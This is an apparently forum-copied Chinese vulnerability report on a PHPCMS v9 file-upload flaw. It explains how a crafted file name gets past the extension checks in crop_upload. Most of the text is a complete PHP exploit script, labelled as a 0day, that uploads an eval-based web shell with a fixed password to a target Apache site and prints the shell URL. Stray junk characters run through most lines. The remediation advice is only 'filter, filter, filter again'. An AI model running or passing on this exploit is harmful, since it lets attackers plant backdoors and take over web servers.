漏洞类型: 文件上传导致任意代码执行
! m% v& W6 B$ N7 H7 J* b2 d9 T5 [- q4 a9 _; {
简要描述:8 X9 z) ^4 B% `/ P' P8 S
+ U2 W, e, ~) y/ Ophpcms v9 getshell (apache)
( s% v/ g+ g: W! p详细说明:
5 s% g2 l( i2 _/ F* e* M, f5 |5 `. I' S
漏洞文件:phpcms\modules\attachment\attachments.php
- s$ h/ S. b2 v# }+ A! H& b2 [* b' a4 [
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
% U9 R0 F8 t" h! [3 x后缀检测:phpcms\modules\attachment\functions\global.func.php
, A- y, [/ X T6 X8 K% j5 S0 Y! V' i6 [4 A( P: n
* l2 i. r9 `2 A ~; ^9 d6 U, c$ f( s* d& Y) X% R
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } 8 k; A7 W5 \# t. Q' o. Q
, ~" Q4 t! ]# K i: H, g关键函数:
7 J, K' ?, k" O3 A1 b* B) y \3 ^$ f5 [! t
$ G6 |1 d$ p( x4 X9 q2 v1 ]: k( q& z! @, j! p/ R$ C
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } 8 ~5 b5 U. t/ L7 e ~, t
+ i* [, \4 O* }; U, C( a4 _ Fileext函数是对文件后缀名的提取。
) a+ G) I7 V E: \# H; O& t根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
/ j0 ^' \+ T9 g3 X1 [. r9 y经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。: m! h7 E& Z" P# f' e3 u. g8 ]* }+ u6 v2 P7 e
我们回到public function crop_upload() 函数中
( [& i/ H8 X- e, `8 J: k. d2 X: bif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();) o* v, h& d, k& o4 t' k2 p
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
5 E/ w$ t& m" ^2 s4 _: b这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。1 h1 ~& \3 ~" O
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
3 C' q4 Y" W% d( g$ [+ Q7 r最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
/ E/ p) x4 b* F/ I, O4 Q7 q, q看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
4 o& ?2 c( O9 T( k* N; Y' C) Q3 s漏洞证明:1 n) E& n u. U6 {* h! B
5 T7 v0 O7 D L C
exp:
o( q) ~% P* e: t: V5 Z+ B6 ^6 H% B a0 g* D
<?php$ b2 ?0 _. ^3 g. L
error_reporting(E_ERROR);
7 Y" c# B6 J+ O7 k0 hset_time_limit(0);
# q+ F% F. D5 g" c) A9 D8 F% u, ]3 m$pass="ln";# @2 h+ O1 [/ t+ U
print_r('; y, n: l& n, u7 B$ m
+---------------------------------------------------------------------------+1 W8 S- H& u! i$ f2 A- ^, X
PHPCms V9 GETSHELL 0DAY
" I8 y* {) ~3 d, I# Xcode by L.N.
( V% M- s' j6 |- z4 m+ Q" T# j
K7 A, v4 [ \3 c) f4 c1 P5 h1 tapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
% e( z7 u* J4 U$ Z+---------------------------------------------------------------------------+( J+ x/ G) j3 M9 p( ?, p
');
, Z$ q4 R7 g x3 U. Yif ($argc < 2) {" k! e9 j+ k! l
print_r('( [ q; |, I8 ]7 H" `, a1 K
+---------------------------------------------------------------------------+& M5 h) G/ q. c
Usage: php '.$argv[0].' url path
. a K- T$ h0 s- X5 ~4 r7 Q% y9 ~& O& t
Example:; S; f" V3 N) D
1.php '.$argv[0].' lanu.sinaapp.com
, {( F" P* v* b( H9 W8 k7 i2.php '.$argv[0].' lanu.sinaapp.com /phpcms
8 }$ G5 ?, d. B% @$ ^+---------------------------------------------------------------------------+
# H/ ]0 p' R$ H, }3 f$ [& O');; u- N7 ]/ R! B3 h! ?
exit;
3 [: K1 L# w! q6 b}
+ R" l) q& c' y% M8 R( c4 A3 j0 d3 i5 M" _0 O
$url = $argv[1];
: X) ]! {; f5 T1 o$path = $argv[2];6 A: i1 g B& l9 _+ [ I% P0 X
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';% g1 b1 {. G* Z0 P ~
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';5 N- d5 ^- c; m3 M- S& d# `
if($ret=Create_dir($url,$path))
2 w: I P; s. L: n{; F, l' n3 ^& v9 _+ Q
//echo $ret;' M; b6 p% g) j7 J+ Z
$pattern = "|Server:[^,]+?|U";% H# `5 Q+ ], }
preg_match_all($pattern, $ret, $matches);
6 c8 w. m2 H' _) L- h; }. tif($matches[0][0])
/ E4 t$ P& ?% T{
j" D7 }* w% Z- W% {4 |if(strpos($matches[0][0],'Apache') == false)/ {' t% Q. s Z9 L" `8 v
{
$ J" f6 H$ S4 B0 I% t: U7 Recho "\n亲!此网站不是apache的网站。\n";exit;
4 a# V' p) N/ y8 S/ v}- ~& j) S- t$ h/ p
}
% W9 T& z5 y) v5 }2 R* [% g$ret = GetShell($url,$phpshell,$path,$file);2 Y6 n5 ? d- Q' b1 U* g: z. r
$pattern = "|http:\/\/[^,]+?\.,?|U";/ _8 X! y' j/ [- g( i, r$ ~
preg_match_all($pattern, $ret, $matches);
: l7 \3 j: y; C/ ^if($matches[0][0])- m3 X9 {! {+ b" \5 b
{
4 M, ^9 d/ s$ J, Uecho "\n".'密码为: '.$pass."\n";
! ~. A9 c( e1 z7 L2 e0 B2 v! }echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;3 ?4 z: C; J3 @8 d2 w
}& g. j: h: V8 P# I
else
' W* j1 U" d2 Y+ F& V) W4 W{
7 ?! a2 l! r" V% c$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
3 q! k# N3 @3 `: y5 J7 c3 ypreg_match_all($pattern, $ret, $matches);2 x, H4 ?' `$ A; s! c+ g" n" m
if($matches[0][0])
& s0 r6 t* b3 u! _ W& F{
- Y0 ^4 k8 E* i3 Qecho "\n".'密码为: '.$pass."\n";+ K) j9 S& a/ r% Z. m) ~- N
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
4 n8 D; P$ ]6 [4 I& X8 O9 y}
* ^/ ~! |- c3 `+ k$ v8 d1 Eelse
" l! W) Y* ?; Q, W5 |; t) f{/ R* z6 a4 P' K0 ^: w8 c. V
echo "\r\n没得到!\n";exit;
" D( z' Z( s1 _6 i}
" A- q+ _! M0 n2 }6 t* Z}; y' U( k* e0 ]8 U2 B+ l* D q
}
: X6 H! m* e! I' n {; W' H' o6 J4 A3 s2 K" j1 B! T @# y4 Z
function GetShell($url,$shell,$path,$js)# h9 f7 Z) t- B, w" f
{, F" w C7 X1 I
$content =$shell;7 H. B, x! ^$ |) ]. ~0 ~
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";3 w1 \0 h$ b4 l6 J# U3 ]; b
$data .= "Host: ".$url."\r\n";5 U! P: e) k. B2 c% n( W; |* N
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
3 Z2 |( x1 S8 Y1 f, F6 z$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
; G0 T/ d% F! }+ x$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$ K9 [( u' Z/ V$data .= "Connection: close\r\n";+ V) I$ n7 b. j+ l
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";7 [/ @0 U5 e. B4 x. s6 o! ]5 g, [
$data .= $content."\r\n";
. b/ D! z/ A8 G. I; `% |$ock=fsockopen($url,80);% v6 p3 Y, U" f/ Y! u, l
if (!$ock); q, `- @' H2 P3 ^/ Q1 E" t0 U t
{
; n6 L/ }" c& X) W. E' l Becho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;6 t! G# o7 c8 g0 r$ C7 G% w
}
* i8 P, s. D/ i+ H7 {; K) m4 jelse
" @+ [0 Z7 ~. U- E{7 D3 g' ~$ Z, f2 X
fwrite($ock,$data);
i5 j/ c6 u. n# E' w$resp = '';
$ G# s3 X& S* Z- [while (!feof($ock))
6 F/ {! Q& ]4 W/ Q5 N. b1 O{! Y. Y/ Y& K! y% Y( h% r( O
$resp.=fread($ock, 1024);
) q* t. O+ f* T/ Y) o}; }% S5 t* U( a( M
return $resp;* O8 M) O$ D9 h6 C" t: z
}
( |7 k; N! P8 R}
2 z0 V$ K- P" T1 W" N- x5 r4 _9 ?7 |+ _0 K) `1 q- |$ N
function Create_dir($url,$path='')
6 _2 l. X2 f/ W3 V' m{
! |, R7 { ?2 i' C2 D$content ='I love you';
( S1 ?! F: \6 b+ B S$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";5 e$ y% h4 V9 |# `9 d3 @; E
$data .= "Host: ".$url."\r\n";% _$ Q# z& A; t' o) P1 z# J
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
. x5 C, D/ Y( ]$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";9 [$ q7 N# x1 ^# s! d4 o
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";7 k! O( O8 K' u; p+ Y
$data .= "Connection: close\r\n";
8 t9 ^' w! @8 F" q$data .= "Content-Length: ".strlen($content)."\r\n\r\n";2 ^3 x/ ~. [! u
$data .= $content."\r\n";9 b, Z! i) I3 f; j
$ock=fsockopen($url,80);$ Q! u/ ?6 Y) }2 ?6 e; i1 J4 U1 X
if (!$ock); E$ t. v: u2 Q2 @- s5 d
{
3 E: x( }4 @$ F: S, ]/ l+ zecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
" U/ X7 @2 g+ [/ w, ?2 w}
0 R3 N$ Q; v7 W2 M5 R; U3 `+ a* kfwrite($ock,$data);/ m5 j0 ?* Z6 z* \: l
$resp = '';
& d* w+ i0 W- }while (!feof($ock)); J. C: P4 e2 e3 M9 Q! M1 j
{
! x; v4 f4 s* Z5 i% K$resp.=fread($ock, 1024);# x6 s- B( k) _5 T3 K
}
7 I* J! x! A* E# breturn $resp;
" A# \8 Z6 I: u3 A}6 n! v! ]6 {! T6 r9 h( V
?> 0 n$ y2 N. ~; R. I
0 \3 {; ]; k9 s. X8 l6 x修复方案:
/ L4 w4 o& x" t! Y1 R. E7 y$ H: j1 ^
过滤过滤再过滤
: }+ \9 ?$ o z, Q8 N# s+ p
! l1 h0 l7 q! Y& h' R8 O |